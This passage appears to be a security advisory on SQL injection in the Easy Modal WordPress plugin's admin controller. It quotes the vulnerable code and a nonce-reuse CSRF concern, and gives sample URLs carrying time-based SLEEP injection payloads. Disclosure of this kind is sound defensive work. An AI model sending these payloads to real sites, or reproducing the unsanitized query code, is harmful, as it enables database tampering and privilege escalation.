3. Vulnerability Description
============================
During the security analysis, ThunderScan discovered SQL injection
vulnerabilities in Easy Modal WordPress plugin.

The easiest way to reproduce the vulnerability is to visit the
provided URL while being logged in as administrator or another user
that is authorized to access the plugin settings page. Users that do
not have full administrative privileges could abuse the database
access the vulnerability provides to either escalate their privileges
or obtain and modify database contents they were not supposed to be
able to.

The nonce token is required as the URL parameter. Token value is not
unique for each request, nor per each URL, so if the attacker manages
to obtain a valid token value, the module could be exposed to attack
vectors such as Cross Site request forgery (CSRF).

3.1. SQL injection
Function: $wpdb->query()
Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
Sample URL:
http://vulnerablesite.com/wp-admin/admin.php?page=easy-modal&action=delete&id%5B0%5D=4%20AND%20SLEEP(5)&easy-modal_nonce=xxx
File: easy-modal\classes\controller\admin\modals.php
---------
93 $ids = is_array($_GET['id']) ? $_GET['id'] :
array($_GET['id']);
...
97 $ids = $_GET['ids'];
...
101 $ids = $_GET['modal'];
...
110 $wpdb->query("UPDATE {$wpdb->prefix}em_modals SET
is_trash = 1 WHERE id IN (".implode(',', $ids).")");
---------

3.2. SQL injection
Function: $wpdb->query()
Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
Sample URL:
http://vulnerablesite.com/wp-admin/admin.php?easy-modal_nonce=xxx&_wp_http_referer=%2Fvulnerablesite.com%2Fwp-admin%2Fadmin.php%3Fpage%3Deasy-modal%26status%3Dtrash&page=easy-modal&action=untrash&paged=1&id[]=2)%20AND%20SLEEP(10)--%20ZpVQ&action2=-1
File: easy-modal\classes\controller\admin\modals.php
---------
123 $ids = is_array($_GET['id']) ? $_GET['id'] :
array($_GET['id']);
...
127 $ids = $_GET['ids'];
...
131 $ids = $_GET['modal'];
...
140 $wpdb->query("UPDATE {$wpdb->prefix}em_modals SET
is_trash = 0 WHERE id IN ($ids)");
---------
